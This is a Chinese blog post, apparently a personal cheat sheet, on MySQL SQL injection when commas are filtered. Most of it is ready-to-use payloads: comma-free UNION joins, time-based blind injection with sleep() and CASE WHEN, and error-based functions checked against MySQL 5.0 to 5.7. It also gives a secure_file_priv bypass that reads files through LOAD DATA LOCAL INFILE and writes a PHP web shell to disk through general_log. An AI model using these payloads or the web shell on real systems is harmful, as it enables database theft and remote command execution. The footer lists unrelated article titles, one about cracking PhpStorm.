不存在逗号的情况:

联合查询:

1.UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)

盲注:

1.select user,password from user where user='' and (sleep(length(user())=14));

select user,password from user where user='' and  (sleep(ascii(mid(user()from(1)for(1)))=114));

这是第一种,直接执行sleep()函数,但是没办法控制延迟时间,固定为sleep(true) == sleep(1),当网络存在波动的时候,可能会误判。

2.select user,password from user where user='' and (select case when (length(user())=14) then sleep(5) else 0 end);

select user,password from user where user='' and (select case when (substring((select user()) from(1)for(1))='o') then sleep(5) else 0 end);

这是第二种,case when关键字,代替 if 语句。

substring((select user()),1,2) == substring((select user()) from(1)for(2)) :from(1)表示从第一个位置开始,for(2)表示截取两个字符。P.S: mid函数同理。

substring((select user()) from-10) :也可以这样写,表示截取最后10位字符。这可以配合regexp使用正则来使用:substring(user() from-10) regexp '.*host'

报错注入:

测试的数据库版本为:5.0.96-community,5.1.60-community,5.5.29,5.5.53,5.7.26

5.0.96-community下:

@@secure_file_priv 为 NULL,默认不影响读,写文件等操作。

只有 floor( 函数的报错语句可以使用,但是该语句必须要 逗号 。

5.1.60-community下:

@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。

1.extractValue,updateXML 这两个函数可以开始使用了,具体Mysql版本:>=5.1.5即可使用,但是也必须使用逗号。

  注:该函数每次查询的数据只有32个字符,可以配合substr函数使用。

2.floor导致的报错可以使用。

3.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()等函数都可以使用,并且不需要逗号

4.exp函数导致的报错,不能使用。

5.5.29:

@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。

1.extractValue,updateXML,floor,都可以使用,但是需要逗号。

2..geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp() 都可以使用,不需要逗号。

5.5.53

@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。

绕过secure_file_priv 限制进行读写文件:

读文件:
CREATE TABLE `tmp` (`tmp` TEXT NOT NULL );
load data local infile 'D:/5529.txt' into table tmp;   成功将文件内容写入tmp表。
写文件:
set global general_log='on';
SET global general_log_file='D:/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

需要能执行多语句。

1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。

2.extractValue,updateXML,floor,都可以使用,但是需要逗号。

5.7.26

@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。

绕过secure_file_priv 限制进行读写文件,利用如上5.5.53。

1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。

2.extractValue,updateXML,都可以使用,但是需要逗号。

3.新增的报错语句:select ST_LatFromGeoHash(user());select ST_LongFromGeoHash(user());select ST_PointFromGeoHash(user(),1);select GTID_SUBSET(user(),1);

4.floor的报错语句,在5.7版本中与之前的有一些不一样。也就是使用 and 还是 or 连接符的结果不一样。也就是:

(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) 必须要能执行。见图:

文章持续更新...

最新文章

  1. js中的块作用域
  2. reqwest请求api和约束(转载)
  3. kafka:一个分布式消息系统
  4. 手动启动mongodb和nodejs程序
  5. js中的cookie操作
  6. Github心得体会
  7. linux修改系统时间和linux查看时区、修改时区的方法
  8. 神马小说:使用opensearch打造高性能搜索服务
  9. Mac电脑没有声音,苹果电脑没有声音怎么办
  10. Android APK安装过程介绍
  11. php获取音悦台视频
  12. Improved SEO with mod_rewrite
  13. 11204RAC-dbca建库脚本
  14. 阻止ARP欺骗
  15. Hibernate 的Configuration、sessionFactory和session和transaction对象解释
  16. 看看Spring的源码(二)——bean实例化
  17. WCF 客户端调用服务操作的两种方法
  18. linux 系统管理 实战技巧
  19. Android应用程序的自动更新升级(自身升级、通过tomcat)(转)
  20. Linux下搭建gtk+2.0开发环境

热门文章

  1. Class 类文件结构
  2. 吃透论文——推荐算法不可不看的DeepFM模型
  3. label_form
  4. NOIP初赛篇——08计算机安全知识
  5. phpstorm2020.1最新版永久破解
  6. SparkSQL学习进度9-SQL实战案例
  7. ssh信任 sftp用法 scp用法【转】
  8. dubbo配置启动时检查
  9. ajax跨域访问http服务--jsonp
  10. Java开发手册之数据库规约